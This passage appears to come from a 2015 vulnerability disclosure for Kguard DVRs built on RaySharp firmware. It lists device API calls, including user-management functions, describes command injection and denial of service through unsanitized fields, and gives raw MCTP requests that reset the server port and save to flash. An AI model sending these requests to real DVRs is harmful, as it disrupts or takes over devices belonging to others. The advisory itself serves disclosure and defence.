HI_SRDK_RECORDER_GetRecordSchedule HI_SRDK_RECORDER_SetPlaybackAttr HI_SRDK_RECORDER_SetRecordAttr HI_SRDK_RECORDER_SetRecordSchedule HI_SRDK_SYS_GetDaylightAttr HI_SRDK_SYS_GetSysMaintainAttr HI_SRDK_SYS_GetSystemAttr HI_SRDK_SYS_SetDaylightAttr HI_SRDK_SYS_SetSysMaintainAttr HI_SRDK_SYS_SetSystemAttr HI_SRDK_SYS_USERMNG_AddGroup HI_SRDK_SYS_USERMNG_AddUser HI_SRDK_SYS_USERMNG_DelGroup HI_SRDK_SYS_USERMNG_DelUser HI_SRDK_SYS_USERMNG_Disable HI_SRDK_SYS_USERMNG_Enable HI_SRDK_SYS_USERMNG_GetAuthorityList HI_SRDK_SYS_USERMNG_GetGroupList HI_SRDK_SYS_USERMNG_GetUserList HI_SRDK_SYS_USERMNG_ModifyGroupInfo HI_SRDK_SYS_USERMNG_ModifyUserInfo 3. Denial of Service and Command Injection Input are not sanitized and filtered in some of the fields which may lead to a potential passive Denial of Service and/or command injection. By altering some requests such as HI_SRDK_NET_SetPppoeAttr, HI_SRDK_NET_Network_DHCP_Client_SetAttr, HI_SRDK_NET_SetWebServerPort or HI_SRDK_NET_Network_SetDefaultGateway, a malicous user may be able to disrupt connectivity to the DVR. REMOTE HI_SRDK_NET_SetMctpServerPort MCTP/1.0 CSeq:58 Accept:text/HDP Content-Type:text/HDP Func-Version:0x10 Content-Length:49 1Segment-Num:1 Segment-Seq:1 Data-Length:2 REMOTE HI_SRDK_DEV_SaveFlash MCTP/1.0 CSeq:61 Accept:text/HDP Content-Type:text/HDP Func-Version:0x10 Content-Length:15 Segment-Num:0 The application server that listens for incoming requests at port 9000 is run by a binary called raysharp_dvr which suggest that the hardware manufacturer is Zhuhai RaySharp Technology Co. While the purpose for this vulnerability analysis is mainly for Kguard related DVR's, I believe that other devices that use the same firmware by the manufacturer and rebranded in the market are also vulnerable. 576 root 20696 S ./raysharp_dvr 577 root 20696 S ./raysharp_dvr 578 root 20696 S ./raysharp_dvr 579 root 20696 S ./raysharp_dvr 580 root 20696 S ./raysharp_dvr 581 root 20696 S ./raysharp_dvr 582 root 20696 S ./raysharp_dvr Timeline: 02/07/2015 - Discovery / PoC 02/09/2015 - Reported to vendor (NR) Source